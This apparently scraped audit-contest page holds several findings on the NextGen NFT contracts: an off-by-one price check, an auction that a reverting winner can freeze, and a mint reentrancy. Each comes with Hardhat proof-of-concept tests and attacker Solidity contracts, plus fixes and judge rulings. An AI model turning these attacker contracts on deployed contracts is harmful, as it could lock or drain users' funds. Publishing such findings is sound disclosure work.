                .retrieveTokensAirdroppedPerAddress( BURN_COLLECTION_ID, attackerContract );
            expect(burnTokensAirdroppedToAttackerCount).to.eq(1);

            await attackerContract.setShouldSell( true, tokenId, contracts.hhCore, contracts.hhMinter);

            const tx = await attackerContract
                    .burnToMint( BURN_COLLECTION_ID, tokenId, MINT_COLLECTION_ID, 0 )

            const tokenSoldEvent = await getTokenSoldEvent(tx);
            expect(tokenSoldEvent).to.not.be.empty;
            expect(tokenSoldEvent.args.newOwner).to.eq('0x000000000000000000000000000000000000dEaD');
            expect(tokenSoldEvent.args.burnTokenId).to.eq(tokenId);
        })

    });
});


async function createCollection(totalSupply) {
    const collectionId = await contracts.hhCore.newCollectionIndex();
    const collectionAdmin = signers.addr1;
    
    await contracts.hhCore.createCollection(
        `Test Collection ${collectionId}`,
        `Artist ${collectionId}`,
        "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", ["desc"]
    );
    await contracts.hhAdmin.registerCollectionAdmin(
        collectionId, // _collectionID
        collectionAdmin.address,
        true
    );
    await contracts.hhCore.connect(collectionAdmin).setCollectionData(
        collectionId,
        collectionAdmin.address, // _collectionArtistAddress
        2, // _maxCollectionPurchases
        totalSupply, // _collectionTotalSupply
        0, // _setFinalSupplyTimeAfterMint
    );
    await contracts.hhMinter.setCollectionCosts(
        collectionId,
        0, // _collectionMintCost
        0, // _collectionEndMintCost
        0, // _rate
        2000, // _timePeriod
        1, // _salesOptions
        '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
    );

    const publicStartTimestamp = await getLatestBlockTimestamp();
    const publicEndTimestamp = publicStartTimestamp + 1000;
    await contracts.hhMinter.setCollectionPhases(
        collectionId,
        0, // _allowlistStartTime
        0, // _allowlistEndTime
        publicStartTimestamp, // _publicStartTime
        publicEndTimestamp, // _publicEndTime
        "0x633522a1353f0e3bf991364afc2d74b59b938bad1726812e25d9f9c09d90b06a"  // _merkleRoot
    );

    return collectionId;
}

async function getLastMintedTokenIds(tx) {
    return (await tx.wait()).logs
        .map(log => {
            try {
                return new ethers.Interface([
                    "event Transfer(address indexed from, address indexed to, uint256 indexed tokenId)"
                ]).parseLog(log);
            } catch (error) {
                return null;
            }
        })
        .filter(parsedLog => parsedLog && parsedLog.name === "Transfer")
        .map(log => log.args.tokenId)
}

async function getTokenSoldEvent(tx) {
    return (await tx.wait()).logs
        .map(log => {
            try {
                return new ethers.Interface([
                    "event TokenSold(uint indexed burnTokenId, address indexed newOwner)"
                ]).parseLog(log);
            } catch (error) {
                return null;
            }
        })
        .find(parsedLog => parsedLog && parsedLog.name === "TokenSold")
}

async function getLatestBlockTimestamp() {
    // @ts-ignore
    return (await ethers.provider.getBlock("latest")).timestamp;
}

Tools Used

Manual review

Call _burn before _mintProcessing Follow CEI pattern

Assessed type

ERC721

#0 - c4-pre-sort

2023-11-20T15:26:02Z

141345 marked the issue as duplicate of #1597

#1 - c4-pre-sort

2023-11-20T15:26:29Z

141345 marked the issue as duplicate of #1597

#2 - c4-pre-sort

2023-11-26T14:00:15Z

141345 marked the issue as duplicate of #1742

#3 - c4-judge

2023-11-29T19:54:11Z

alex-ppg marked the issue as not a duplicate

#4 - c4-judge

2023-11-29T19:54:28Z

alex-ppg marked the issue as duplicate of #1597

#5 - c4-judge

2023-12-05T12:24:55Z

alex-ppg changed the severity to 2 (Med Risk)

#6 - c4-judge

2023-12-08T21:24:11Z

alex-ppg marked the issue as partial-50

Awards

35.614 USDC - $35.61

Labels

bug
2 (Med Risk)
partial-50
duplicate-1275

External Links

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L540

Vulnerability details

Vulnerability Details

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L540

        } else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allowlistStartTime && block.timestamp < collectionPhases[_collectionId].publicEndTime){

getPrice checks for < when comparing with block.timestamp

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L221

       } else if (block.timestamp >= collectionPhases[col].publicStartTime && block.timestamp <= collectionPhases[col].publicEndTime) {

mint checks for <=

It means that at the last second of the sale the price will be collectionMintCost https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L566

            return collectionPhases[_collectionId].collectionMintCost;

Impact

Impossible to buy at the last second for the collectionEndMintCost Users who wished to buy at the last second for the lowest price won't be able to do it Integration problems are possible when 3rd party requests getPrice because the price will suddenly spike at the last second. E.g. bots who try to buy at the last second and request getPrice will massively overpay

Proof of Concept

Put the test file below to hardhat/tests/fileName.test.js and run npx hardhat test test/fileName.test.js

// @ts-check
const TEST_NAME = "Incorrect price formula for salesOption 2";
const {
    loadFixture,
  } = require("@nomicfoundation/hardhat-toolbox/network-helpers")
const { expect } = require("chai");
// @ts-ignore
const { ethers } = require("hardhat");
const fixturesDeployment = require("../scripts/fixturesDeployment.js")
  
let signers
let contracts

const START_MINT_COST = 100_000;
const RATE = 100;
const END_MINT_COST = 10_000;

let PUBLIC_START_TIMESTAMP;
const PUBLIC_SALE_LENGTH = 10_000;

const SALES_OPTION = 2;

let collectionId;
let attacker;

describe("NextGen Tests", function () {
    beforeEach(async function () {
      ;({ signers, contracts } = await loadFixture(fixturesDeployment))
      attacker = signers.addr2;
      await contracts.hhCore.addMinterContract(
        contracts.hhMinter
      );
    })

    context(TEST_NAME, () => {

        beforeEach(async function () {
            collectionId = await contracts.hhCore.newCollectionIndex();
            const collectionAdmin = signers.addr1;

            await contracts.hhCore.createCollection(
                `Test Collection ${collectionId}`,
                `Artist ${collectionId}`,
                "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", ["desc"]
            );
            await contracts.hhAdmin.registerCollectionAdmin(
                collectionId, // _collectionID
                collectionAdmin.address,
                true
            );
            await contracts.hhCore.connect(collectionAdmin).setCollectionData(
                collectionId,
                collectionAdmin.address, // _collectionArtistAddress
                2, // _maxCollectionPurchases
                1000, // _collectionTotalSupply
                0, // _setFinalSupplyTimeAfterMint
            );
            await contracts.hhMinter.setCollectionCosts(
                collectionId,
                START_MINT_COST, // _collectionMintCost
                END_MINT_COST, // _collectionEndMintCost
                RATE, // _rate
                2000, // _timePeriod
                SALES_OPTION, // _salesOptions
                '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
            );
        
            PUBLIC_START_TIMESTAMP = await getLatestBlockTimestamp() + 100;
            await contracts.hhMinter.setCollectionPhases(
                collectionId,
                PUBLIC_START_TIMESTAMP, // _allowlistStartTime
                0, // _allowlistEndTime
                PUBLIC_START_TIMESTAMP, // _publicStartTime
                PUBLIC_START_TIMESTAMP + PUBLIC_SALE_LENGTH, // _publicEndTime
                "0x633522a1353f0e3bf991364afc2d74b59b938bad1726812e25d9f9c09d90b06a"  // _merkleRoot
            );

            await contracts.hhCore.addRandomizer(
                collectionId, contracts.hhRandomizer,
            );

            // Mint several tokens so viewCirSupply is not 0
            await contracts.hhMinter.airDropTokens(
                [signers.owner], //_recipients,
                [""],       //_tokenData,
                [0],        //_saltfun_o,
                collectionId,          //_collectionID,
                [7],         //_numberOfTokens,
            );
            expect(await contracts.hhCore.viewCirSupply(collectionId))
                .to.eq(7);
        })

        it("calculates the price incorrect", async function() {
            // Start price, as expected
            await ethers.provider.send('evm_setNextBlockTimestamp', [PUBLIC_START_TIMESTAMP]);
            await ethers.provider.send("evm_mine");
            expect(await contracts.hhMinter.getPrice(collectionId))
                .to.eq(START_MINT_COST);


            // Skip to the middle time
            const middleOfTheSaleTimestamp = PUBLIC_START_TIMESTAMP + PUBLIC_SALE_LENGTH / 2;
            await ethers.provider.send('evm_setNextBlockTimestamp', [middleOfTheSaleTimestamp]);
            await ethers.provider.send("evm_mine");

            // Some other price, as expected
            expect(await contracts.hhMinter.getPrice(collectionId))
                .not.to.eq(END_MINT_COST);
            expect(await contracts.hhMinter.getPrice(collectionId))
                .not.to.eq(START_MINT_COST);

            // Skip to the end
            const endSaleTimestamp = PUBLIC_START_TIMESTAMP + PUBLIC_SALE_LENGTH;
            await ethers.provider.send('evm_setNextBlockTimestamp', [endSaleTimestamp]);
            await ethers.provider.send("evm_mine");
            // End price is START_MINT_COST, should not be
            expect(await contracts.hhMinter.getPrice(collectionId))
                .to.eq(START_MINT_COST);

        })
        it("disallows to buy with correct price", async function() {
            const endSaleTimestamp = PUBLIC_START_TIMESTAMP + PUBLIC_SALE_LENGTH;
            await ethers.provider.send('evm_setNextBlockTimestamp', [endSaleTimestamp]);

            const mintPromise = contracts.hhMinter.connect(attacker).mint(
                collectionId, // _collectionID
                1, // _numberOfTokens
                1, // _maxAllowance
                '', // _tokenData
                attacker, // _mintTo
                [], // _merkleRoot
                ethers.ZeroAddress, // _delegator
                0, //_varg0
                {value: END_MINT_COST}
            )
            await expect(mintPromise)
                // @ts-ignore
                .to.be.revertedWith("Wrong ETH");

            expect(await contracts.hhMinter.getPrice(collectionId))
                .to.eq(START_MINT_COST);
            expect(await getLatestBlockTimestamp())
                .to.eq(endSaleTimestamp);
        })
        it("allows to buy with incorrect price", async function() {
            const endSaleTimestamp = PUBLIC_START_TIMESTAMP + PUBLIC_SALE_LENGTH;
            await ethers.provider.send('evm_setNextBlockTimestamp', [endSaleTimestamp]);
            expect(await contracts.hhMinter.getPrice(collectionId))
                .to.eq(START_MINT_COST);

            const tx = await contracts.hhMinter.connect(attacker).mint(
                collectionId, // _collectionID
                1, // _numberOfTokens
                1, // _maxAllowance
                '', // _tokenData
                attacker, // _mintTo
                [], // _merkleRoot
                ethers.ZeroAddress, // _delegator
                0, //_varg0
                {value: START_MINT_COST}
            );
            const tokenId = await getLastMintedTokenId(tx);
            expect(await contracts.hhCore.ownerOf(tokenId)).to.eq(attacker.address);

            expect(await getLatestBlockTimestamp())
                .to.eq(endSaleTimestamp);
        })
    });
});


async function getLatestBlockTimestamp() {
    // @ts-ignore
    return (await ethers.provider.getBlock("latest")).timestamp;
}

async function getLastMintedTokenId(tx) {
    return (await tx.wait()).logs
        .map(log => {
            try {
                return new ethers.Interface([
                    "event Transfer(address indexed from, address indexed to, uint256 indexed tokenId)"
                ]).parseLog(log);
            } catch (error) {
                return null;
            }
        })
        .find(parsedLog => parsedLog && parsedLog.name === "Transfer")
        .args.tokenId;
}

Tools Used

Manual review

Use <, > and <=, >= consistently. Either strict or non-strict in all the relevant places.

Assessed type

Math

#0 - c4-pre-sort

2023-11-16T01:43:47Z

141345 marked the issue as duplicate of #1391

#1 - c4-judge

2023-12-08T21:40:25Z

alex-ppg marked the issue as partial-50

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L112

Vulnerability details

Vulnerability Details

Prerequisites:

  1. The last bidder is a contract that fail on onERC721Received call (malicious or not)
  2. Auction ended (block.timestamp > minter.getAuctionEndTime(_tokenid)) Note: On block.timestamp <= minter.getAuctionEndTime(_tokenid) it's theoretically fixable by rebidding the malicious/broken winner. After minter.getAuctionEndTime(_tokenid) it's not fixable.

Impact

claimAuction fail on IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); No one can withdraw there bids. No way to fix it.

Proof of Concept

Put the contracts below in hardhat/smart-contracts

// SPDX-License-Identifier: MIT
import {auctionDemo} from "./AuctionDemo.sol";

pragma solidity ^0.8.19;

contract EmptyBidder {
    function bid(auctionDemo auction, uint256 tokenId) external payable {
        require(msg.value > 0);
        auction.participateToAuction{value: msg.value}(tokenId);
    }


}
// SPDX-License-Identifier: MIT
import {auctionDemo} from "./AuctionDemo.sol";
import {IERC721Receiver} from "./IERC721Receiver.sol";

pragma solidity ^0.8.19;

contract RevertingERC721Receiver is IERC721Receiver {
    function bid(auctionDemo auction, uint256 tokenId) external payable {
        require(msg.value > 0);
        auction.participateToAuction{value: msg.value}(tokenId);
    }

    function onERC721Received(
        address ,
        address ,
        uint256 ,
        bytes calldata 
    ) external pure returns (bytes4) {
        revert("This revert is send from RevertingERC721Receiver");
    }
}

Put the test file below to hardhat/tests/fileName.test.js and run npx hardhat test test/fileName.test.js

// @ts-check

const {
    loadFixture,
  } = require("@nomicfoundation/hardhat-toolbox/network-helpers")
  const { expect } = require("chai");
  // @ts-ignore
  const { ethers } = require("hardhat");
  const fixturesDeployment = require("../scripts/fixturesDeployment.js")
  
  let signers
  let contracts
  

describe("NextGen Tests", function () {
    beforeEach(async function () {
      ;({ signers, contracts } = await loadFixture(fixturesDeployment))
      const auction = await ethers.getContractFactory(
        "auctionDemo",
      );
      contracts.hhAuction = await auction.deploy(
        await contracts.hhMinter.getAddress(),
        await contracts.hhCore.getAddress(),
        await contracts.hhAdmin.getAddress(),
      );
      await contracts.hhCore.addMinterContract(
        contracts.hhMinter
      );
      await contracts.hhCore.addRandomizer(
        1, contracts.hhRandomizer,
      )

      contracts.hhEmptyBidder = await (await ethers.getContractFactory("EmptyBidder")).deploy();
      contracts.hhRevertingERC721Receiver = await (await ethers.getContractFactory("RevertingERC721Receiver")).deploy();
    })

    context("Verify Fixture", () => {
        it("Contracts are deployed", async function () {
            expect(await contracts.hhAuction.getAddress()).to.not.equal(
                ethers.ZeroAddress,
            )
            expect(await contracts.hhEmptyBidder.getAddress()).to.not.equal(
                ethers.ZeroAddress,
            )
        })}
    );

    context("Auction winner can lock funds from bids of all other bidders after the auction end", () => {
        let tokenId;
        let endTimestamp;
        let normalBidder;

        beforeEach(async function () {
            // prepare
            await contracts.hhCore.createCollection(
                "Test Collection 1",
                "Artist 1",
                "For testing",
                "www.test.com",
                "CCO",
                "https://ipfs.io/ipfs/hash/",
                "",
                ["desc"],
              );
            await contracts.hhAdmin.registerCollectionAdmin(
                1,
                signers.addr1.address,
                true,
            )
            await contracts.hhCore.connect(signers.addr1).setCollectionData(
                1, // _collectionID
                signers.addr1.address, // _collectionArtistAddress
                2, // _maxCollectionPurchases
                10000, // _collectionTotalSupply
                0, // _setFinalSupplyTimeAfterMint
            )
            await contracts.hhMinter.setCollectionCosts(
                1, // _collectionID
                0, // _collectionMintCost
                0, // _collectionEndMintCost
                0, // _rate
                2000, // _timePeriod
                1, // _salesOptions
                '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
              )

            const startTimestamp = await getLatestBlockTimestamp();
            endTimestamp = startTimestamp + 1000
            await contracts.hhMinter.setCollectionPhases(
                1, // _collectionID
                startTimestamp, // _allowlistStartTime
                endTimestamp, // _allowlistEndTime
                0, // _publicStartTime
                0, // _publicEndTime
                "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot
            )

            const initialOwnerAddress = signers.addr1.address;
            normalBidder = signers.addr2;
            expect(initialOwnerAddress).not.eq(normalBidder.address);

            // start auction
            const tx = await contracts.hhMinter.mintAndAuction(
                initialOwnerAddress, // _recipient
                "", // _tokenData
                0, // _saltfun_o
                1, // _collectionID
                endTimestamp, // _auctionEndTime
            );

            // check token minted
            tokenId = await getLastMintedTokenId(tx);
            expect(await contracts.hhMinter.getAuctionEndTime(tokenId)).to.eq(endTimestamp);
            expect(await contracts.hhCore.ownerOf(tokenId)).to.eq(initialOwnerAddress);

            // approve auction to use it
            contracts.hhCore.connect(signers.addr1).approve(
                await contracts.hhAuction.getAddress(),
                tokenId    
            );

            // normal bids
            await contracts.hhAuction.connect(normalBidder).participateToAuction(tokenId, { value: 1000 });
            await contracts.hhAuction.connect(normalBidder).participateToAuction(tokenId, { value: 2000 });
            await contracts.hhAuction.connect(normalBidder).participateToAuction(tokenId, { value: 3000 });
        })
        it("reverts if attacker is NOT IERC721Receiver", async function() {
            // malicious/broken bid, the biggest bid so far
            await contracts.hhEmptyBidder.bid(contracts.hhAuction, tokenId, {value: 4000})

            // skip until the auction end time
            await ethers.provider.send('evm_setNextBlockTimestamp', [endTimestamp + 1]);
            await ethers.provider.send("evm_mine");
            expect(await contracts.hhMinter.getAuctionEndTime(tokenId))
                .to.be.lessThan(await getLatestBlockTimestamp());
            
            // try to withdraw, will revert
            // @ts-ignore
            await expect(contracts.hhAuction.claimAuction(tokenId)).to.be.revertedWith(
                "ERC721: transfer to non ERC721Receiver implementer"
            );

            await expect(contracts.hhAuction.connect(normalBidder).cancelAllBids(tokenId))
                // @ts-ignore
                .to.be.revertedWith("Auction ended");
        })
        it("reverts if attacker is IERC721Receiver", async function() {
            // malicious/broken bid, the biggest bid so far
            await contracts.hhRevertingERC721Receiver.bid(contracts.hhAuction, tokenId, {value: 4000})

            // skip until the auction end time
            await ethers.provider.send('evm_setNextBlockTimestamp', [endTimestamp + 1]);
            await ethers.provider.send("evm_mine");
            expect(await contracts.hhMinter.getAuctionEndTime(tokenId))
                .to.be.lessThan(await getLatestBlockTimestamp());
            
            // try to withdraw, will revert
            // @ts-ignore
            await expect(contracts.hhAuction.claimAuction(tokenId)).to.be.revertedWith(
                "This revert is send from RevertingERC721Receiver"
            );

            await expect(contracts.hhAuction.connect(normalBidder).cancelAllBids(tokenId))
                // @ts-ignore
                .to.be.revertedWith("Auction ended");
        })
    })

    
});
async function getLastMintedTokenId(tx) {
    return (await tx.wait()).logs
        .map(log => {
            try {
                return new ethers.Interface([
                    "event Transfer(address indexed from, address indexed to, uint256 indexed tokenId)"
                ]).parseLog(log);
            } catch (error) {
                return null;
            }
        })
        .find(parsedLog => parsedLog && parsedLog.name === "Transfer")
        .args.tokenId;
}

async function getLatestBlockTimestamp() {
    // @ts-ignore
    return (await ethers.provider.getBlock("latest")).timestamp;
}

Tools Used

Manual review

Rewrite the auction so it uses Pull over Push pattern.

Assessed type

DoS

#0 - c4-pre-sort

2023-11-20T15:21:25Z

141345 marked the issue as duplicate of #486

#1 - c4-judge

2023-12-01T22:24:13Z

alex-ppg marked the issue as not a duplicate

#2 - c4-judge

2023-12-01T22:24:29Z

alex-ppg marked the issue as duplicate of #1759

#3 - c4-judge

2023-12-08T22:11:23Z

alex-ppg marked the issue as partial-50

#4 - c4-judge

2023-12-09T00:23:12Z

alex-ppg changed the severity to 2 (Med Risk)

Awards

13.3948 USDC - $13.39

Labels

bug
downgraded by judge
grade-b
primary issue
QA (Quality Assurance)
sponsor disputed
Q-13

External Links

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L234-L237

Vulnerability details

Vulnerability Details

Prerequisites general:

  • Attacker has allowance (merkle proof or have not minted yet) to mint

Prerequisites for overflow:

  • A collection with _collectionTotalSupply set to max (10_000_000_000)

Example below is a general example. To make it example for overflow to the next collection you can imagine that it's already been minted almost max supply, two tokens left. And _collectionTotalSupply has been set to max (10_000_000_000).

Steps:

  1. Call MinterContract.mint with _numberOfTokens = X, where X > 1 and X <= _maxAllowance
  2. Reenter in MinterContract.mint on line gencore.mint(mintIndex, mintingAddress, _mintTo, tokData, _saltfun_o, col, phase) (in onERC721Received hook)
    1. require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(col), "No supply"); won't be checked while in for loop
    2. collectionCirculationSupply is only +1 right now
  3. Call mint at least one time with _numberOfTokens X - 1
    1. Mints X-1 tokens for the first call
    2. X-N for following N calls
  4. Execution goes back to for-loop and mints X - 1 more tokens, overflowing collectionCirculationSupply

Variations:

  • Call burnToMint one/several times instead of mint in the second step
    • Need to have token(s) to burn
    • burnToMintCollections needs to be true for attacked collections
  • Reenter from airDropTokens
    • allowlist phase or public phase
    • attacker is the last one in _recipients in airDropTokens call
    • attacker has allowance (merkle proof or have not minted yet) to mint
    • MinterContract.airDropTokens is called (by admin)
    • One of the _recipients is an attacker who has a special logic in onERC721Received
    • onERC721Received attacker calls mint and mint tokens up to totalSupply

Impact

Tokens with indexes between viewTokensIndexMax and viewTokensIndexMin + viewCirSupply - 1 will never be minted, even if admin increases totalSupply. They could be valuable. This invalid state may lead to multiple errors in 3rd parties. In the case of overflow after setFinalSupply is called reservedMaxTokensIndex and collectionTotalSupply will be overflown to the next collection which may lead to more errors.

Proof of Concept

For general overflow (not an overflow to the next collection) Put the contract below in hardhat/smart-contracts

// SPDX-License-Identifier: MIT
import  "./MinterContract.sol";
import {IERC721Receiver} from "./IERC721Receiver.sol";

pragma solidity ^0.8.19;

contract ReentersMintToMint is IERC721Receiver {
    uint reenteredTimes = 0;
    NextGenMinterContract minter;
    // Empty for this example, but can be used in AllowList phase for the same result
    bytes32[] merkleProof;
    uint constant COLLECTION_ID = 1;
    // First mint 3, then 2, then 1;
    uint constant NUMBER_OF_TOKENS_INITIAL = 3;

    constructor(NextGenMinterContract _minter) {
        minter = _minter;
    }

    function setProof(bytes32[] calldata _merkleProof) external{
        merkleProof = _merkleProof;
    }

    function mint() external {
        minter.mint(
            COLLECTION_ID, // uint256 _collectionID,
            NUMBER_OF_TOKENS_INITIAL, // uint256 _numberOfTokens,
            NUMBER_OF_TOKENS_INITIAL, // uint256 _maxAllowance,
            "",// string memory _tokenData,
            address(this),// address _mintTo,
            merkleProof,// bytes32[] calldata merkleProof,
            address(0),// address _delegator,
            0// uint256 _saltfun_o
        );
    }

    function onERC721Received(
        address ,
        address ,
        uint256 ,
        bytes calldata 
    ) external returns (bytes4) {
        reenteredTimes+=1;

        uint toMint = NUMBER_OF_TOKENS_INITIAL - reenteredTimes;

        if (toMint == 0){
            return IERC721Receiver.onERC721Received.selector;   
        }

        minter.mint(
            COLLECTION_ID, // uint256 _collectionID,
            toMint, // uint256 _numberOfTokens,
            toMint, // uint256 _maxAllowance,
            "",// string memory _tokenData,
            address(this),// address _mintTo,
            merkleProof,// bytes32[] calldata merkleProof,
            address(0),// address _delegator,
            0// uint256 _saltfun_o
        );

        return IERC721Receiver.onERC721Received.selector;
    }
}

Put the test file below to hardhat/tests/fileName.test.js and run npx hardhat test test/fileName.test.js

// @ts-check
const TEST_NAME = "Possible to  make `collectionCirculationSupply` > `collectionTotalSupply`, overflow to the next collection";
const {
    loadFixture,
  } = require("@nomicfoundation/hardhat-toolbox/network-helpers")
const { expect } = require("chai");
// @ts-ignore
const { ethers } = require("hardhat");
const fixturesDeployment = require("../scripts/fixturesDeployment.js")
  
let signers
let contracts
let attacker;
const COLLECTION_ID = 1;

describe("NextGen Tests", function () {
    beforeEach(async function () {
      ;({ signers, contracts } = await loadFixture(fixturesDeployment))
      attacker = signers.addr3;

      await contracts.hhCore.addMinterContract(
        contracts.hhMinter
      );
    })

    context(TEST_NAME, () => {
        beforeEach(async function () {
            const totalSupply = 10;
            const collectionId = await createCollection(totalSupply);
            expect(collectionId).to.eq(COLLECTION_ID);

            await contracts.hhMinter.airDropTokens(
                [signers.owner], //_recipients,
                [""],       //_tokenData,
                [0],        //_saltfun_o,
                COLLECTION_ID,          //_collectionID,
                [7],         //_numberOfTokens,
            );
            expect(await contracts.hhCore.viewCirSupply(COLLECTION_ID))
                .to.eq(7);
        })

        it("attacks", async function() {
            contracts.hhReentersMintToMint = await (
                await ethers.getContractFactory("ReentersMintToMint")
              ).deploy(contracts.hhMinter);
            const attackerContract = contracts.hhReentersMintToMint.connect(attacker);
            
            await attackerContract.mint();
            
            expect(await contracts.hhCore.viewCirSupply(COLLECTION_ID))
                .to.eq(13);
            expect(await contracts.hhCore.viewTokensIndexMax(COLLECTION_ID))
                .to.eq(10000000009);
            expect(await contracts.hhCore.totalSupplyOfCollection(COLLECTION_ID))
                .to.eq(13);
            const [
                ,// collectionArtistAddress
                ,// maxCollectionPurchases
                collectionCirculationSupply,
                collectionTotalSupply,
                ,//setFinalSupplyTimeAfterMint,
                ,//randomizerContract
            ] = await contracts.hhCore.retrieveCollectionAdditionalData(COLLECTION_ID);
            expect(collectionCirculationSupply).to.eq(13);
            expect(collectionTotalSupply).to.eq(10);
        });
});
});


async function createCollection(totalSupply) {
    const collectionId = await contracts.hhCore.newCollectionIndex();
    const collectionAdmin = signers.addr1;
    
    await contracts.hhCore.createCollection(
        `Test Collection ${collectionId}`,
        `Artist ${collectionId}`,
        "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", ["desc"]
    );
    await contracts.hhAdmin.registerCollectionAdmin(
        collectionId, // _collectionID
        collectionAdmin.address,
        true
    );
    await contracts.hhCore.connect(collectionAdmin).setCollectionData(
        collectionId,
        collectionAdmin.address, // _collectionArtistAddress
        10, // _maxCollectionPurchases
        totalSupply, // _collectionTotalSupply
        0, // _setFinalSupplyTimeAfterMint
    );
    await contracts.hhMinter.setCollectionCosts(
        collectionId,
        0, // _collectionMintCost
        0, // _collectionEndMintCost
        0, // _rate
        2000, // _timePeriod
        1, // _salesOptions
        '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
    );

    const publicStartTimestamp = await getLatestBlockTimestamp();
    const publicEndTimestamp = publicStartTimestamp + 1000;
    await contracts.hhMinter.setCollectionPhases(
        collectionId,
        0, // _allowlistStartTime
        0, // _allowlistEndTime
        publicStartTimestamp, // _publicStartTime
        publicEndTimestamp, // _publicEndTime
        "0x633522a1353f0e3bf991364afc2d74b59b938bad1726812e25d9f9c09d90b06a"  // _merkleRoot
    );

    await contracts.hhCore.addRandomizer(
        collectionId, contracts.hhRandomizer,
    );

    return collectionId;
}

async function getLastMintedTokenIds(tx) {
    return (await tx.wait()).logs
        .map(log => {
            try {
                return new ethers.Interface([
                    "event Transfer(address indexed from, address indexed to, uint256 indexed tokenId)"
                ]).parseLog(log);
            } catch (error) {
                return null;
            }
        })
        .filter(parsedLog => parsedLog && parsedLog.name === "Transfer")
        .map(log => log.args.tokenId)
}

async function getLatestBlockTimestamp() {
    // @ts-ignore
    return (await ethers.provider.getBlock("latest")).timestamp;
}

Tools Used

Manual review

Add nonReentrant modifier to mint, airDropTokens and burnToMint functions Use Pull over Push pattern

Assessed type

Reentrancy

#0 - c4-pre-sort

2023-11-20T15:25:30Z

141345 marked the issue as duplicate of #1985

#1 - c4-pre-sort

2023-11-27T08:05:40Z

141345 marked the issue as duplicate of #1282

#2 - c4-pre-sort

2023-11-27T08:06:22Z

141345 marked the issue as not a duplicate

#3 - c4-sponsor

2023-11-27T11:14:11Z

a2rocket (sponsor) disputed

#4 - a2rocket

2023-11-27T11:17:26Z

collections wont have supply of more than 10000000000, in any case this issue can be combined with other issues for reentrancy.

#5 - c4-pre-sort

2023-11-27T15:17:51Z

141345 marked the issue as duplicate of #1742

#6 - c4-judge

2023-11-29T20:16:13Z

alex-ppg marked the issue as not a duplicate

#7 - c4-judge

2023-11-29T20:16:21Z

alex-ppg marked the issue as primary issue

#8 - alex-ppg

2023-12-05T21:53:00Z

The Warden weaponizes a re-entrancy attack vector to showcase that the circulating supply of a collection can exceed its total supply.

The Sponsor specifies that collections cannot have a supply of more than 10_000_000_000, meaning that the Warden's potential overflow is impossible.

At best, this vulnerability will cause a circulating supply that does not match the total supply of the token. The circulating supply is utilized throughout the system for price calculations and index offsets of to-be-minted tokens, both of which are inaccessible once the vulnerability manifests as a pre-condition for it is that the actual total supply will have been exhausted.

The total supply may also be incorrectly updated via the setFinalSupply function, causing both the circulating and total supply data points in the NextGenCore to be corrupted. To recap in a single sentence, a deliberately malicious user would have to normally mint extra NFTs (i.e. pay) to increase the circulating supply while getting nothing in return.

Given that the circulating supply being incorrect is not weaponized in any way, I consider this and all relevant exhibits to be valid albeit QA-level submissions.

#9 - c4-judge

2023-12-05T21:53:13Z

alex-ppg changed the severity to QA (Quality Assurance)

#10 - c4-judge

2023-12-09T00:14:03Z

alex-ppg marked the issue as grade-b

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter